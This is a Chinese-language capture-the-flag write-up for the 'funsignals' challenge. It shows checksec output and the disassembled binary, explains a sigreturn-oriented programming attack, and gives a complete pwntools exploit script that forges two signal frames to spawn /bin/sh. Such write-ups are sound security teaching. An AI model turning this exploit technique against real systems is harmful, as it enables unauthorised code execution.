相关资源
文件分析 1 2 3 4 5 6 7 8 $ checksec ./funsignals Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x10000000) Stack: Executable RWX: Has RWX segments
代码分析 就是几行汇编代码 第一次syscall 读取标准输入到栈上 第二次syscall 触发sigreturn 明显SROP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 .shellcode:10000000 _shellcode segment byte public 'CODE' use64 .shellcode:10000000 assume cs:_shellcode .shellcode:10000000 ;org 10000000h .shellcode:10000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing .shellcode:10000000 .shellcode:10000000 public _start .shellcode:10000000 _start: .shellcode:10000000 xor eax, eax .shellcode:10000002 xor edi, edi .shellcode:10000004 xor edx, edx .shellcode:10000006 mov dh, 4 .shellcode:10000008 mov rsi, rsp .shellcode:1000000B syscall ; LINUX - sys_read .shellcode:1000000D xor edi, edi .shellcode:1000000F push 0Fh .shellcode:10000011 pop rax .shellcode:10000012 syscall ; LINUX - sys_rt_sigreturn .shellcode:10000014 int 3 ; Trap to Debugger .shellcode:10000015 .shellcode:10000015 syscall: ; LINUX - .shellcode:10000015 syscall .shellcode:10000017 xor rdi, rdi .shellcode:1000001A mov rax, 3Ch ; '<' .shellcode:10000021 syscall ; LINUX - sys_exit .shellcode:10000021 .shellcode:10000021 ; --------------------------------------------------------------------------- .shellcode:10000023 flag db 'fake_flag_here_as_original_is_at_server',0 .shellcode:10000023 _shellcode ends
攻击方法 通过vmmap可以看到.shellcode
段权限为RWX 可以构造SROP链
第一次置rsp = 0x10000030, rip = start
则 sigreturn 之后栈顶指向0x10000030 并且再次回到start执行读取操作
第二次发送置rax = 0x3b (execve), rdi = &"/bin/sh", rsi = 0, rdx = 0, rsp = 0x10000030, rip = 0x1000000b (syscall)
这次sigreturn后跳转至syscall执行execve
这里/bin/sh
地址计算: 栈顶存放sigReturnFrame 结构体0xf0, 随后跟上binsh 偏移即为 0xf8
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *import syspty = process.PTY context(os='linux' , arch='amd64' , log_level='debug' ) mode = '' if len (sys.argv) > 1 : mode = sys.argv[1 ] context.terminal = ["tmux" , "splitw" , "-h" ] proc = process("./funsignals" ) def s (x ): proc.send(x)def sl (x ): return proc.sendline(x)def sla (x, y ): return proc.sendlineafter(x, y)def sa (x, y ): return proc.sendafter(x, y)def ru (x ): return proc.recvuntil(x)def rc (): return proc.recv()def rl (): return proc.recvline()def li (con ): return log.info(con)def ls (con ): return log.success(con)def pi (): return proc.interactive()def pcls (): return proc.close()def ga (): return u64(ru(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))gscript = ''' b * 0x10000000 ''' + 'c\n' * 1 if mode == '-d' : gdb.attach(proc, gdbscript=gscript) start = 0x10000000 new_stack = 0x10000030 syscall = 0x1000000b f = SigreturnFrame() f.rip = start f.rsp = new_stack s(bytes (f)) f = SigreturnFrame() f.rax = 59 f.rdi = new_stack + 0xf8 f.rip = syscall f.rsp = new_stack f.rsi = 0 f.rdx = 0 sleep(1 ) s(bytes (f) + b'/bin/sh\x00' ) pi() pause()